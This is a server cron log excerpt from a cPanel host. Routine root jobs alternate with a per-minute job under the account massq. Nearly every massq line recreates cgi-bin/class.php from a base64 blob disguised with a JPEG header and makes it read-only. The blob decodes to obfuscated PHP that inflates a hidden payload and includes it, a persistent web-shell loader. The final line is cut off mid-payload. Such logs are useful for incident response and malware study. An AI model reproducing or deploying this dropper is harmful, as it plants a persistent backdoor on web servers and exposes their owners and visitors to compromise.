Apr 10 09:44:01 server CROND[32612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:45:01 server CROND[32686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:45:01 server CROND[32687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:45:01 server CROND[32688]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:46:01 server CROND[362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:47:01 server CROND[562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:48:01 server CROND[649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:49:01 server CROND[735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:50:01 server CROND[820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:50:01 server CROND[822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:50:01 server CROND[824]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 09:50:01 server CROND[826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 09:50:01 server CROND[823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:51:01 server CROND[946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:52:01 server CROND[1106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:53:01 server CROND[1172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:54:01 server CROND[1255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:55:01 server CROND[1325]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:55:01 server CROND[1326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:55:01 server CROND[1327]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:56:01 server CROND[1454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:57:01 server CROND[1534]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 09:57:01 server CROND[1535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0